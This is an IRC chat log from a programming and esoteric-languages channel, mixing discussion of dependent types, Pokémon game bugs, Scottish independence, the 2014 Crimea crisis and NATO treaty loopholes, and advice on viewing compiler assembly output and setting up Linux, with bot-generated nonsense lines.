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00:18:19 <Sgeo> http://explosm.net/comics/3479/
00:22:20 <Bicyclidine> there ain't no rest for the wicked // money don't grow on trees // i got bills to pay, i got mouths to feed // oh there ain't nothin in this world for free
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01:46:51 <HackEgo> keecoin braemcoin spacecoin fluracoin wunnedcoin wisendstorycoin ctorcoin askingcoin smongcoin hsemecoin .gercoin blacecreadcoin c-logincoin marquistcoin entecoin weacoin provinsomskjcoin cilacoin tinycoin porigcoin
01:48:39 <ais523> tinycoin seems very much like a real one
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01:49:14 <Bike> i'll take ciliacoins
01:50:39 <ais523> meanwhile, askingcoins don't actually exist, but there are nonetheless many people trying to buy them for exorbitant prices
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01:52:38 <ais523> the EU seem to really dislike the concept of Scottish independence for some reason
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02:01:48 <Sgeo> Am I allowed to find it funny that there is a sense in which Java is safer than Haskell?
02:02:09 <Sgeo> (Although not really since a library in Haskell can do the same thing)
02:02:59 <Sgeo> Still... where Haskell may use undefined as an argument to something because it wants to know the type, Java would just pass in a Class<TheClassInQuestion>, which is still a usable object
02:05:43 <zzo38> You can do the same in Haskell you can have a type parameter which doesn't do anything too
02:07:03 <lambdabot> kmc asked 6h 53m 55s ago: What do you think of the subroutine AC82 documented in http://meatfighter.com/nintendotetrisai/
02:07:37 <kmc> ais523: hm do you know why?
02:08:11 <kmc> Sgeo: sounds like data Proxy a = Proxy
02:09:37 <ais523> kmc: just an idea at what the name would be appropriate for
02:09:47 <kmc> i meant re scotland
02:10:09 <ais523> kmc: oh, it's to do with the exceptions the UK has for a bunch of things, like border control and the single currency
02:10:33 <kmc> currency union with england seems like a sticking point
02:10:36 <ais523> they're refusing to allow a hypothetical independent Scotland in on that, meaning that Scotland would have to either leave the EU or adopt the Euro, Schengen group, etc.
02:10:49 <ais523> fwiw, I'm broadly in favour of the EU, but against the euro
02:10:56 <kmc> are they officially refusing it or is it just speculation still
02:11:18 <ais523> I'm not sure if it was official official, but some high-ranking person said that that's what they intended to do, in a nonbinding way
02:13:24 <kmc> nobody much wants scotland to join the euro do they
02:14:29 <ais523> I don't see any real benefit that would come from it
02:15:24 <ais523> although I'm generally in favour of splitting up currencies as much as possible, so I'd prefer an independent Scotland to have its own currency just for economic reasons
02:16:00 <kmc> it's hard to be truly independent if you don't have control over monetary policy
02:17:50 <ais523> also, I'm not entirely sure what you call the /other/ country left over if Scotland becomes independent
02:18:12 <kmc> United Kindom of Some of Britain and Northern Ireland
02:18:13 <ais523> because "great britain" is even less accurate a summary of the non-Northern Ireland bit than before
02:18:26 <Bike> just call the place Kingdom
02:19:08 <Bike> That Place What The Queen Lives In I Hear
02:23:10 <Sgeo> kmc: that's what I meant by Haskell being able to do it. But I think people still use undefined for that purpose, not sure why
02:23:22 <lambdabot> *Exception: Prelude.head: empty list
02:23:42 <ais523> does Haskell have a typesafe infinite list type?
02:23:54 <ais523> basically lists without nil?
02:23:55 <Sgeo> head : Vec (S n) a -> a
02:24:13 <Jafet> data List a = Single a | List a (List a)
02:24:16 <ais523> Sgeo: you basically need dependent typing to be able to get very far with that
02:24:28 <Sgeo> ais523: I'm currently trying to understand dependent typing
02:24:40 <Sgeo> I keep seeing individual use cases, but feel like I'm missing the full picture
02:25:16 <Bike> Jafet: does that not allow List 4 (Single 6)
02:26:00 <Sgeo> data Stream a = Stream a (Stream a)
02:26:01 <Jafet> Fortunately, it does.
02:26:03 <Sgeo> Why the Single?
02:26:13 <Sgeo> For a safe head
02:27:11 <Sgeo> ais523: are there any excellent dependent typing tutorials around?
02:27:29 <ais523> Sgeo: probably, but I don't know of any in particular
02:28:05 <Sgeo> I feel like the purely imperative programmer trying to understand first-class functions by reading about how they're useful
02:28:17 <Sgeo> But without grasping the core concept
02:29:08 <ais523> Sgeo: the core concept is basically "imagine a type of integers that have the value 4", generalize that, everything comes from there
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02:30:48 <Sgeo> Can I make a Map of Strings to Types? I suspect I can in Idris but not Agda (without redefining whatever the local hashmap is), but not certain
02:35:29 <Jafet> All integers have the value 4 in one day rotation
02:35:47 <zzo38> Sgeo: And what are the types going to be used for afterward?
02:36:20 <Sgeo> zzo38: I'm thinking something like an ST monad implementation that doesn't use unsafeCoerce
02:37:22 <zzo38> I don't know how ST monad works actually
02:37:23 <Sgeo> This is really making me unwilling to try Agda
02:37:36 <Sgeo> Even if it has better tutorials
02:39:46 <elliott> ais523: that's not what dependent typing is
02:40:08 <ais523> elliott: working in a CS department, it's a bit confusing
02:40:18 <ais523> because they consider a huge range of things to all be dependent typing
02:40:37 <Sgeo> Cumulative universes seem awesome, as far as I understand them
02:40:41 <zzo38> Haskell has a Typeable class which is possible to use for such a purpose
02:40:44 <Sgeo> Especially with... whatever Idris does to hide them
02:44:27 <elliott> ais523: if they think that's dependent typing, they're just wrong
02:45:52 <ais523> elliott: I've seen tuples defined as functions from a set that obeys the integer axioms, to types, and that's apparently dependent typing too, or can be at least
02:46:30 <ais523> I think because there were free variables of type tuple index, and they were separate from normal free variables
02:49:20 <ais523> dependent types is one of those things I'm really bad at, though
02:55:25 <zzo38> How someone explained it, dependent sum types are like f 1 + f 2 + f 3 + f 4 + ... which is also like a Sigma operator, which would explain why it is called Sigma types.
02:56:43 <copumpkin> except it doesn't even have to be a number index
02:57:18 <zzo38> Yes, I believe you
03:09:04 <Sgeo> soNot oh oh impossible
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04:40:26 <Sgeo> "I'd recommend Agda as the better vehicle for getting to grips with the ideas behind dependently typed programming, but Idris is the more practical option."
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04:54:17 <ais523> agda's mostly used for proofs, like coq is
04:54:30 <ais523> you don't even care what the program does when it runs, the point of the program is for it to compile at all
05:03:03 <Jafet> “We propose the data “water cycle”, iRain, that ensures that the user is “soaked” with useful user data all the time.”
05:03:12 <Jafet> http://cseweb.ucsd.edu/~gvenkatesh/About_Me_files/paper_2.pdf
05:03:43 <kmc> zzo38: STRef is implemented the same as IORef, and runST the same as unsafePerformIO
05:04:17 <kmc> but the fancy type of runST prevents STRefs from one runST invocation from making their way into another (even by nesting)
05:04:27 <elliott> runST is more like unsafeDupablePerformIO, I think.
05:04:33 <elliott> or whatever the even more crazy version of that was.
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05:35:52 <HackEgo> picoin cardcoin unwelcoin soncoin sparnapol)coin bergcoin dimenternalcoin omecoin aarguinecoin ble-2dcoin selcoin smartrucoin limacoin yclearblifecoin m-coderlingcoin 2-illcoin cloopticcoin liocoin ahelcoin mertcoin
05:42:57 <HackEgo> ffilcant bed gium aufle olle agra frestasmi positecti inspu kxp outentairet octa comfi hatmoc prouge lobrahe sor eori ent jim
05:45:30 <Jafet> Will there be a future in which `words becomes hip again
05:57:38 <pikhq> Trufflecoin clearly is really just truffle futures.
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06:05:36 <oerjan> Gregor``: THE LOGS FOR 2/29 ARE BROKEN HTH
06:05:59 * oerjan stealthily moves on to march
06:06:22 <pikhq> Oh hey, it's March now.
06:07:34 -!- oerjan has set topic: Beware the Hares of March. Also the Ides. | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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06:31:30 <zzo38> How do I encode patterns for peephole optimization?
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06:37:21 <oerjan> <Jafet> Will there be a future in which `words becomes hip again <-- only when they abolish money hth
06:38:15 <oerjan> <pikhq> Trufflecoin clearly is really just truffle futures. <-- i was imagining a coin made of truffle chocolate
06:40:14 <oerjan> wait, there's no truffle in chocolate truffles?
06:41:24 <Jafet> Are chocolate truffles truffles made from chocolate?
06:41:44 <Jafet> I think bitcoin would actually be worth more than truffle coins
06:42:20 <oerjan> mind you, genuine chocolate with truffles also exists.
06:43:17 <oerjan> darn i'll have to open all these google hits to see if they're about the right kind
06:43:34 <Jafet> What about chocolate that is made of truffles instead of chocolate
06:43:48 <oerjan> i don't think that's chocolate.
06:44:55 <zzo38> I would think, I could make a program optimization by using two kinds, AST optimization and instruction optimization. These instructions would also include some pseudo instruction such as a branch target instruction.
06:47:18 <zzo38> By which I mean, each branch instruction must target a branch target instruction, and each branch target instruction must specify all possible places where it can come from.
06:48:37 <oerjan> ok i have trouble finding a link to a genuine mixing of chocolate with truffles
06:49:02 <oerjan> despite my memory of eating such from confectionary boxes
06:50:25 <zzo38> Do you expect this would work OK?
06:51:56 <oerjan> 'Most "truffle oil", however, does not contain any truffles.'
06:54:07 <shachaf> today we had pizza with truffle oil at lunch and people were talking about that
06:55:52 <oerjan> perhaps it existed in my childhood when truffles were cheaper...
06:56:14 <oerjan> and now it's forever gone. as will soon be truffles themselves.
07:00:03 <Jafet> If truffles disappear, what will happen to truffle pigs?
07:01:13 <Jafet> Truffle bacon (fried in the last remaining truffle oil)
07:43:31 <fizzie> "XMLHttpRequest cannot load file:///[REDACTED]. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access."
07:43:48 <fizzie> Guess they've added more security in it.
07:44:10 <fizzie> (The page trying to do the loading was another file:/// in the same directory.)
07:50:44 <coppro> I'm afraid of sleeping in case I miss The Run
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11:09:06 * oerjan looks at terence tao's homepage, and suddenly realizes he could possibly have met him at the 1988 IMO.
11:09:16 <oerjan> *terence tao's wikipedia page
11:10:47 <Taneb> oerjan, I'm pretty sure I did not
11:11:29 <oerjan> that not being born thing huh?
11:11:42 <Taneb> Yeah, it's a bummer
11:12:39 <oerjan> i am having this vague vision that there was a ridiculously precocious child there, but it's so vague i have no idea if i'm making it up.
11:14:03 <oerjan> he'd have been 12, and at the IMO for the third time
11:15:08 <oerjan> international mathematics olympiad
11:15:49 <Slereah_> I went to that when I was a kid : http://en.wikipedia.org/wiki/Mathematical_Kangaroo
11:15:51 <oerjan> "He remains the youngest winner of each of the three medals in the Olympiad's history, winning the gold medal shortly after his thirteenth birthday. "
11:16:04 <Slereah_> I am pretty pissed because I didn't win the kangaroo
11:16:31 <oerjan> not the same competition though
11:16:53 <Slereah_> I won a T-shirt there, but I lost it since :(
11:18:18 <oerjan> also this would be the year it was in australia, his home country
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11:23:51 <oerjan> and the press were all over him, my vague memory vaguely claims.
11:24:07 <oerjan> which they would be, naturally.
11:25:11 <oerjan> the start of the happiest period in my life.
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14:35:11 <boily> good սուրճ morning!
14:38:57 <int-e> Compute richness indices and their standard errors from survey data. Huh?
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14:41:19 <int-e> Sorry. Google swapped letters and I didn't notice. svy-rich makes sense.
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15:14:57 <ion> The group was initially formed as a subunit of the female idol group Sakura Gakuin under the concept of a "fusion of metal and idol [music]".[4][5][6] None of the three members knew what metal music was before the inception of the band.[7]
15:14:58 <ion> http://youtu.be/WIKqgE4BwAY
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15:22:44 <int-e> wtf is "idol music"
15:22:57 <int-e> fungot: please explain idol music
15:22:57 <fungot> int-e: day an odd livid spot appears on his right he saw the tower plain against the southwest, and a peculiar sprinkling of angled edifices whose five-pointed ground plan roughly suggested modern fnord.
15:26:28 <ion> fungot: That was a pretty good description, thanks.
15:26:28 <fungot> ion: the captain, after landing, made carter a guest in his own blood and take a careful series of photographs which may yet be mine!"
15:28:12 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube
15:28:40 <boily> fungot: you are accurate and are making sense. I am disturbed.
15:28:40 <fungot> boily: louder and louder, wilder and wilder, mounted the shrieking and drumming which accompanied the visible services. suydam, when questioned, said he thought the centre lay amid the pathless desert of arabia, where irem, the city hall, and sometimes bare earth with struggling greenish-grey vegetation. the houses are generally in solid blocks, and will fnord the prints for you to see.
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17:14:36 <fizzie> What does "made X a guest in his own blood" mean, though?
17:16:17 <int-e> Hmm, fungot is still using the f word. (The one that ends in d.)
17:16:17 <fungot> int-e: " good god, manton, but what i can give to history, philosophy, and the certain reality of the horrors of the northern edge are
17:16:23 <oerjan> fizzie: given this is lovecraft, do you really want to know?
17:16:36 <int-e> oerjan: huh, that would only work for sockets, right?
17:17:20 <oerjan> int-e: iirc it still prints to stdout
17:19:05 <int-e> From MissingH, ah. It takes two handles. hInteract :: (HVIO a, HVIO b) => a -> b -> (String -> String) -> IO ()Source
17:19:48 <oerjan> and it didn't really fit the stackoverflow question anyhow.
17:20:01 <int-e> wait a second. class Show a => HVIO a whereSource ... Show? Seriously?
17:20:43 <oerjan> i suppose they want something to put in error messages
17:20:57 <int-e> (The "Source" gets added because I mark lines on hackage's haddocks by double clicking, but the "Source" link is all the way to the right on the page; I don't notice that it gets hilighted, too.)
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19:22:57 <ion> http://youtu.be/qM9hH3suOpo
19:25:07 <kmc> high voltage IO?
19:25:28 <kmc> danger danger
19:25:35 <HackEgo> brooncoin poutomycoin mincluecoin sublecoin solercoin oflabtcoin berhizzcoin fanjcoin commecoin thecoin rocucoin stoffcoin ~coin computnamentcoin discoin hemcoin chioncoin slikecoin bunsulebrash-01coin xigxacoin
19:26:57 <Phantom_Hoover> i can't even riff on bunsulebrash-01coin, it's perfect in itself
19:39:31 <kmc> twitch beat pokemon!
19:41:17 <zzo38> Let's play pokemon card
19:41:43 <kmc> Twitch Plays Professional Octopus of the World
19:47:29 <ais523> I thought they were going to beat it eventually
19:53:01 <Jafet> Is it possible to never beat pokemon
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19:54:21 <zzo38> Oops ISO 646 does not include German quotation mark symbols.
19:55:57 <ais523> Jafet: yeah, the RNG Plays Pokémon game got itself stuck in an unwinnable state that I hadn't previouslyseen
19:56:04 <ais523> there are some well-known ones
19:56:08 <kmc> what are they?
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19:57:53 <ais523> the one RNG Plays Pokémon found was to be in the Cerulean/Vermillion area with no Pokémon capable of learning Cut, no Pokéballs, no money with which to buy them, and no items on the map or trainers remaining from which to gain money (selling the items or prize money from the trainers)
19:59:01 <zzo38> Is that possible in the newer games too or does it prevent it?
19:59:48 <ais523> the newer games attempt to prevent it, in various ways
20:00:12 <ais523> for instance, all starter Pokémon can learn Cut, and the newer games prevent the releasing of your last remaining Pokémon that can learn an HM
20:00:22 <zzo38> But does it actually prevent it entirely, or are there ways to make the unwinnable state?
20:01:21 <ais523> there is a mistake in Pokémon Diamond/Pearl/Platinum that allows you to trade away your last remaining Pokémon that learns Surf for a Magikarp, who does not learn Surf
20:02:09 <ais523> while on an island that can only be left via Surf, Fly or Teleport, and neither Fly nor Teleport is necessary to reach that point
20:02:41 <zzo38> My opinion is it ought to be designed to be possible to be unwinnable states actually
20:02:44 <ais523> in most cases, you can leave via fainting and returning to the Pokémon Center, but if you don't have any fishing rods (and instead obtained the Surfing Pokémon via trade), you can't get into any battles
20:03:12 <ais523> oh, also there's a bug in Pokémon HeartGold/SoulSilver that can cause you to end up stuck in a wall while trying to leave a Pokémon Center
20:03:25 <ais523> I don't know what triggers it
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20:15:50 <Bike> i laughed my ass off when i found out twitch blacked out in a pokemon center (i think it was)
20:17:06 <zzo38> I didn't know it is possible?
20:18:53 <Bike> https://24.media.tumblr.com/da615f9d0888bc18ed240cff86b22764/tumblr_n1aee5IFCA1rvoha9o1_500.jpg
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20:21:43 <nooodl> huh that sounds like it shouldn't be possible
20:22:06 <nooodl> i guess it might be. pokémon red/blue are weird
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20:22:43 <nooodl> zzo38: you could always just pace around in one with a single poisoned dying pokémon in your party
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20:31:30 <kmc> russia is going to invade ukraine: http://www.bbc.com/news/world-europe-26400035
20:32:26 <Bike> russia has invaded ukraine.
20:33:24 <Bike> russian soldiers and mercs in unmarked uniforms were wondering around simferopol way before putin asking the duma. ¬_¬ russia
20:34:22 <kmc> yeah the news stories I read were like "men with guns have taken over the airport! and they won't say who they work for!"
20:35:03 <Bike> some of them are local militias 'maybe' 'who knows'
20:36:26 <Bike> pretty great since http://en.wikipedia.org/wiki/Budapest_Memorandum_on_Security_Assurances too
20:37:01 <kmc> Bike do you know things about international law
20:37:12 <Bike> like, what, the lack of it?
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20:38:31 <kmc> lexande also knows things about international law
20:38:39 <Bike> people have already come up with excuses for violating this budapest thing but i forget them
20:38:58 <kmc> lol how about the excuse "we have a lot of guns and nukes and we'll do what we want"
20:39:01 <kmc> works for USA
20:39:25 <Bike> internatinoal law is basically based on forced politeness. so they say something more legal-sounding
20:39:35 <kmc> ukraine's parliament voted to send Yanukovych to the ICC
20:42:00 <kmc> i wonder who hates the ICC more, USA or Russia
20:42:58 <Bike> probably the african union :V
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20:45:29 <Bike> i guess the US has said they're not going to ratify it so
20:48:22 <pikhq> ais523: The HG/SS bug is actually quite hilarious.
20:48:49 <pikhq> ais523: If you go on the second floor of the Center before the Elite Four, you can't leave.
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20:51:03 <pikhq> Gen IV seems like it was the buggiest gen outside of I.
20:54:16 <pikhq> Wow, that's... wow.
20:54:41 <pikhq> In gen I you could do a stone-evo without a stone.
20:54:55 <kmc> Bike: http://en.wikipedia.org/wiki/American_Service-Members'_Protection_Act
20:55:02 <zzo38> pikhq: How do you do that?
20:55:35 <pikhq> In a battle where the stone-evo Pokemon leveled up, send out a Pokemon that has an index number equal to the stone's item number.
20:56:12 <Bike> i expected that to be about okinawa from the name :V
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21:04:39 <ais523> pikhq: it's not quite that simple, because you could fix it using the Cable Club
21:05:35 <ais523> err, or whatever it's called in Gen 4
21:06:14 <ais523> Bike: I believe the US has a designated country to invade should the ICC decide to sanction it
21:14:22 <kmc> isn't the idea that we would invade .nl because that's where the court is? see above link
21:16:10 <itsy> I bumped into Clive Sinclair today, while wearing a Sinclair t-shirt :-)
21:16:57 * Bike looks up some things, notes that he has been confusing denmark and holland for a while
21:18:51 <fizzie> Both (I mean Denmark and the Netherlands) are p. flat, though.
21:19:04 <Bike> the netherlands has too many names.
21:21:04 * oerjan wonders if an attack by one NATO member on another triggers the collective defense article or not
21:21:24 <Bike> sure hope so, that sounds awesome
21:21:24 <fizzie> "In May 2011, the Netherlands was ranked as the "happiest" country according to results published by the OECD."
21:21:27 <fizzie> Nice scare quotes there.
21:21:37 <ais523> it'd be especially amusing if the attacker complied with their treaty obligations via declaring war on themself
21:21:59 <Bike> the united states has occupied the united states
21:22:18 <ais523> actually, that sounds like a nomic-worthy loophole
21:22:23 <ais523> declare war on another NATO member
21:22:25 <ais523> then declare war on yourself
21:22:30 <ais523> then shortly afterwards, surrender to yourself
21:23:05 <fizzie> "Norway? More like NATOrway!"
21:24:05 <ais523> now you've been defeated so the rest of NATO doesn't need to continue the war any more
21:24:36 <fizzie> "The Parties agree that an armed attack against one or more of them in Europe or North America shall be considered an attack against them all and consequently they agree that, if such an armed attack occurs, each of them, in exercise of the right of individual or collective self-defence recognised by Article 51 of the Charter of the United Nations, will assist the Party or Parties so attacked ...
21:24:42 <fizzie> ... by taking forthwith, individually and in concert with the other Parties, such action as it deems necessary, including the use of armed force, to restore and maintain the security of the North Atlantic area."
21:24:46 <fizzie> (That's the Article 5.)
21:25:23 <oerjan> hm according to the wp NATO article, lithuania has invoked article 4 on russia now
21:26:48 <ais523> russia isn't attacking lithuania, is it, though?
21:27:12 <ais523> last I checked, there was a bunch of controversy about whether it was attacking ukraine or not, that's the problem with an information vacuum
21:27:29 <ais523> it's a fact/lie, not an opinion, but one that it's hard to determine the truth of
21:27:49 <fizzie> I guess you could argue that as per Article 1/8 once you do declare war on another NATO member, you are automatically no longer a NATO member?
21:28:10 <kmc> http://ic.pics.livejournal.com/caurug/39552154/7544/7544_1000.gif
21:28:37 <oerjan> there's a yahoo answers page about this, it's about the quality you'd expect
21:29:30 <fizzie> kmc: I liked that cathedral takeoff ending shown on that Tetris page (I think) you linked people to.
21:30:07 <fizzie> (Though it did make me expect a liftoff in that gif too.)
21:33:27 <oerjan> > sort "diplomacy" == sort "madpolicy"
21:33:59 <oerjan> mentioned on straight dope forum
21:34:21 <kmc> http://anagramatron.tumblr.com/
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21:35:32 <kmc> http://www.tedunangst.com/flak/post/a-brief-history-of-one-line-fixes
21:37:36 <nooodl> kmc: ugh the "how is this possible??" tone
21:39:03 <kmc> also https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/
21:39:40 <elliott> nooodl: I think -Wall does actually catch that X bug.
21:39:46 <elliott> I think X used to have a very large amount of warnings under -Wall though.
21:39:49 -!- augur has quit (Ping timeout: 264 seconds).
21:40:19 <elliott> YMMV on whether you consider that acceptable for software that gets direct access to your hardware and which every end-user application gets to talk extensively to with a complex protocol
21:40:42 <fizzie> I think the "how is this possible" tone is trying to be a joke directed to all people saying "how is this possible" to the Apple thing.
21:41:16 <fizzie> (Though I might be just imagining that.)
21:41:39 <int-e> fizzie: the bugs are instructive, but the comments have negative value to me ...
21:41:50 <elliott> " Pretty obvious what went wrong here: using goto with an unbraced if. Even novice programmers know that using the correct coding style prevents refactoring errors."
21:41:54 <elliott> it's obviously a joke like fizzie says
21:41:59 <elliott> since that has nothing at all to do with the bug above it
21:42:00 <int-e> Also can somebody explain the logic of "They all date from before 2013. That’s how we know the NSA wasn’t involved." to me?
21:42:02 -!- Sprocklem has joined.
21:42:06 <elliott> but is relevant to the apple bug
21:43:16 <kmc> int-e: joke
21:44:48 <int-e> fungot: joke please?
21:44:48 <fungot> int-e: such were the idle tales of the fnord
21:45:25 <int-e> fungot wins, compared to that link.
21:45:26 <fungot> int-e: vii. edgar allan poe. poe's fame has been subject to curious undulations, and it was better than human material for maintaining life in fnord fragments, and it is in fact quite dead, its sprawling body imperfectly fnord and infested with queer animate things which have nothing to do but fnord, which is set with its walled garden in a great closed van the entire contents of his mind, and possessed of a kind of triumph whi
21:45:34 <kmc> `addquote <fungot> int-e: such were the idle tales of the fnord
21:45:35 <fungot> kmc: " queer haow picters sets ye thinkin'. take this un here near the front. hey yew ever seed trees like thet, with big leaves a fnord' over an' daown? and them men them can't be fnord they dew beat all. kinder like fnord, fnord
21:45:37 <HackEgo> 1172) <fungot> int-e: such were the idle tales of the fnord
21:48:40 <int-e> I don't approve of fungot's proliferation of the f-word.
21:48:40 <fungot> int-e: man are supreme merits, and stand free to worship fnord independence, self-respect, and individual personality joined to extreme grace and beauty as typified by the cool, lithe, cynical and unconquered lord of the great
21:50:48 -!- copumpkin has joined.
21:51:40 <fizzie> Yes, well, fixing things is so hard.
21:55:50 <kmc> is it st. fungot's day
21:55:50 <fungot> kmc: at about fnord a.m., and covering such prodigious spaces that carter wondered whether or not he will ever come back, i cannot conceive these things as aught but fnord and actually beautiful; and touches of gray in the thick of the chase, and compare his calculating patience and quite study of his terrain with the noisy floundering and pawing of his canine rival. it
21:56:00 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube
21:57:01 <kmc> https://github.com/mozilla/rust/blob/551da0615764853153db944063ae2e271414a71b/src/libstd/rt/util.rs#L92-L141
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22:01:40 <Bike> http://www.buzzfeed.com/ludwigwittgenstein/fantastic-ways-to-distinguish-between-sense-and-nonsense the greatest listicle in history
22:01:45 <Slereah_> What's a good C compiler that's 64 bits and where I can modify the Assembly file
22:01:57 <Bike> gcc -S, isn't it?
22:02:06 <kmc> Bike.zzo38.moed++
22:02:28 <Slereah_> Codeblocks can use gcc, right?
22:02:35 <kmc> Slereah_: you may find the assembly output of gcc somewhat hard to read, though
22:02:35 <Slereah_> 'cause I ain't got no linuxeses
22:02:43 <kmc> it's full of various directives / metadata / etc.
22:02:47 <Bike> "Do you know about philosophical investigations?"
22:02:56 <Bike> kmc: is any compiler's asm not going to be
22:03:05 <kmc> i don't know
22:03:08 <kmc> just a general warning
22:03:14 <kmc> (probably some toy compilers, though)
22:03:39 <kmc> also compilers can write unholy weird assembly (especially on x86)
22:03:39 <Bike> anyway i imagine llvm lets you output ir bla bla bla
22:04:00 <kmc> for all its complexity, it is possible for humans to write x86 assembly in a clear and straightforward style... but compilers have no such scruples
22:04:11 <kmc> Slereah_: if you run into something you don't understand I will try to explain it to the best of my ability
22:04:20 <olsner> disassembling the binary instead of asking for assembly output might be more readable because some of the crud gets removed (and/or moved to other sections out of the way)
22:04:30 <Slereah_> What kind of weirdery can I encounter though?
22:04:58 <Slereah_> But wouldn't disassembling the binary get rid of the tags?
22:05:14 <Bike> it'll still have symbols in it.
22:05:45 <kmc> ah yes olsner speaks the truth
22:05:56 <kmc> yes, it will still have symbols (unless you run 'strip' on the binary)
22:06:00 <Slereah_> What's a good x86-64 disassembler?
22:06:07 <kmc> the standard on *nix is objdump -d
22:06:19 <Bike> yeah, you shouldn't need IDA or nothin
22:06:33 <Bike> @g windows disassembler
22:06:34 <lambdabot> Maybe you meant: gazetteer get-shapr get-topic ghc girl19 google googleit gsite gwiki v @ ? .
22:06:40 <Bike> @google windows disassembler
22:06:41 <lambdabot> http://en.wikibooks.org/wiki/X86_Disassembly/Disassemblers_and_Decompilers
22:06:41 <lambdabot> Title: x86 Disassembly/Disassemblers and Decompilers - Wikibooks, open books for an ...
22:06:44 <lambdabot> gazetteer ... U.S. Gazetteer (2000)
22:06:57 <olsner> @gazetteer windows disassembler?
22:07:01 <kmc> Slereah_: look, trying to do any interesting software development on Windows is just making your life unnecessarily hard
22:07:12 <zzo38> When is Fnord A.M.?
22:07:18 <kmc> Slereah_: install Linux or get a Linux VM (locally or some cheap VPS or something)
22:07:23 <Slereah_> I guess I could put on a virtual linux
22:07:28 <kmc> Amazon will give you a free EC2 instance for a year
22:07:40 <Bike> @g gazeteer rain
22:07:41 <lambdabot> Maybe you meant: gazetteer get-shapr get-topic ghc girl19 google googleit gsite gwiki v @ ? .
22:07:44 <Bike> @gazeteer rain
22:08:01 <olsner> you could always copy the windows binaries to a linux computer and run an objdump compiled with PE-format support there
22:08:20 <elliott> it's less pain than setting up a linux vm with ssh
22:08:22 <Bike> or you could use zzo's inevitable 6502 operating system for all your software development
22:08:23 <kmc> that seems like more trouble than installing gcc / binutils from Cygwin or MinGW
22:08:39 <kmc> cygwin is easy to install, although it's hueg
22:09:06 <kmc> but seriously, if you want to learn this stuff, you should have a linux of some kind
22:09:36 <fizzie> clang's -S output can be occasionally more readable than gcc's.
22:11:12 <elliott> cygwin is a linux of some kind enough for software development
22:11:17 <elliott> though configure scripts will always be slow
22:11:55 <fizzie> And gcc -S has a -fverbose-asm which adds some comments about which variables each instruction refers to, though that can be p. useless.
22:12:09 <Bike> i ahve a pretty good book on "hacking" (it's titled that) that teaches basic x86 and goes through simple privilege escalation and mitm and stuff
22:12:13 <kmc> cygwin won't let you do things like write standalone assembly programs that make system calls
22:12:16 <Bike> for kernels like, 2.6, though
22:12:50 <Slereah_> what's a good destro these days
22:13:08 <fizzie> kmc: I'm sure you *can* just int 2e it up, can't you?
22:13:23 <kmc> fizzie: the Windows syscall API is undocumented, isn't it?
22:13:25 <kmc> and unstable
22:13:27 <olsner> another trick is (counterintuitively) to enable optimizations, I find that tends to make the assembly more straight-forward
22:13:31 <fizzie> kmc: Yes and yes, sure.
22:13:32 <kmc> the stable API is linking to dlls
22:13:58 <olsner> there is some unofficial documentation around, I think
22:14:11 <kmc> i hear it's a nicer API than the stable one
22:14:23 <kmc> usually allowing things to change allows them to get/stay nice
22:14:31 <kmc> Slereah_: debian or ubuntu
22:14:33 <Slereah_> I'll just put in scientific linux
22:14:53 <kmc> SciLinux is based on RHEL which means a lot of stuff will be p. out of date
22:15:03 <kmc> you might want to add https://fedoraproject.org/wiki/EPEL at least
22:15:08 <fizzie> Some of our cluster nodes run Scientific Linux, I think.
22:17:03 <Slereah_> http://cdimage.debian.org/debian-cd/7.4.0/amd64/iso-dvd/ < is it on 3 DVDs?
22:17:32 <fizzie> Normally I just go with the http://cdimage.debian.org/debian-cd/7.4.0/amd64/iso-cd/debian-7.4.0-amd64-netinst.iso
22:17:52 <fizzie> (It's one small CD, installs from network.)
22:18:09 <Slereah_> Hm, will it work okay on virtual box?
22:18:22 <fizzie> I've installed it on VirtualBox a couple of times.
22:18:34 <fizzie> The default networking setup it does should be fine.
22:19:36 <Slereah_> In the meanwhile, let's see what Codeblocks can do assembly-wise
22:21:00 <fizzie> (Or I can't remember if VirtualBox has any networking by default, but the needs-no-configuration user-mode NAT thing anyway.)
22:21:05 <HackEgo> subtcoin lycyclickcoin undercoin sendreimachcoin stacoin fectioncoin wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoin fervediumcoin rankcoin fiftyreacoin utomocoin souldcoin mdpncoin isccoin sorthoecoin hcbaesiecoin clecoin quaicoin vejcoin yabacoin
22:21:19 -!- oerjan has quit (Quit: Nitecoin).
22:21:20 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bills: not found
22:21:20 <kmc> wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoin is gonna be big
22:21:29 <Slereah_> When will I have some bitbills!
22:21:43 <kmc> Slereah_: http://onechicklette.files.wordpress.com/2012/06/post-no-bills.jpg?w=625
22:21:57 <HackEgo> bash: coin: command not found
22:22:07 <HackEgo> son-of-unbbill auguebill oristbill xigbill lendstrebill redgrandbill rustbill licizativebill milebill justitbill diacentbill posbill butbill acrutabill ofestfrograssedadolpson-of-unbabtiliumbill flatlebill fittbill itfimplebill aminischefernatnikbill plinitribill
22:22:09 <int-e> `` coins | sed s=coin=bill=g
22:22:12 <HackEgo> orbiccisinbill wilsonbill scombiebill judibill bfmbill negotbill scequersenbill dimcrbill reversbill barebill conveyonnahbill genbill unitbill rinebill dzzzzbill byterbill zehntermderliardaunallersange/indbill intertionbill brovicbill addlebill
22:22:40 <fizzie> ofestfrograssedadolpson-of-unbabtiliumbills go well with wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoins.
22:23:08 <kmc> = is a good sed separator thx
22:23:21 <kmc> main should return int
22:23:56 <fizzie> It is if you want to follow the standard.
22:24:15 <kmc> I think if you use "void main()" then the exit code of your program (if you return rather than calling exit()) will be undefined garbage
22:24:24 <kmc> and C++ explicitly forbids it
22:24:48 <ais523> kmc: I use = as a regex separator quite a bit
22:24:52 <kmc> a pox on correctness
22:25:30 <Slereah_> I will use gotos and make all my fucking classes public!
22:25:44 <fizzie> I just got "40" back out as an error code from void main(void){int x;} which was p. random.
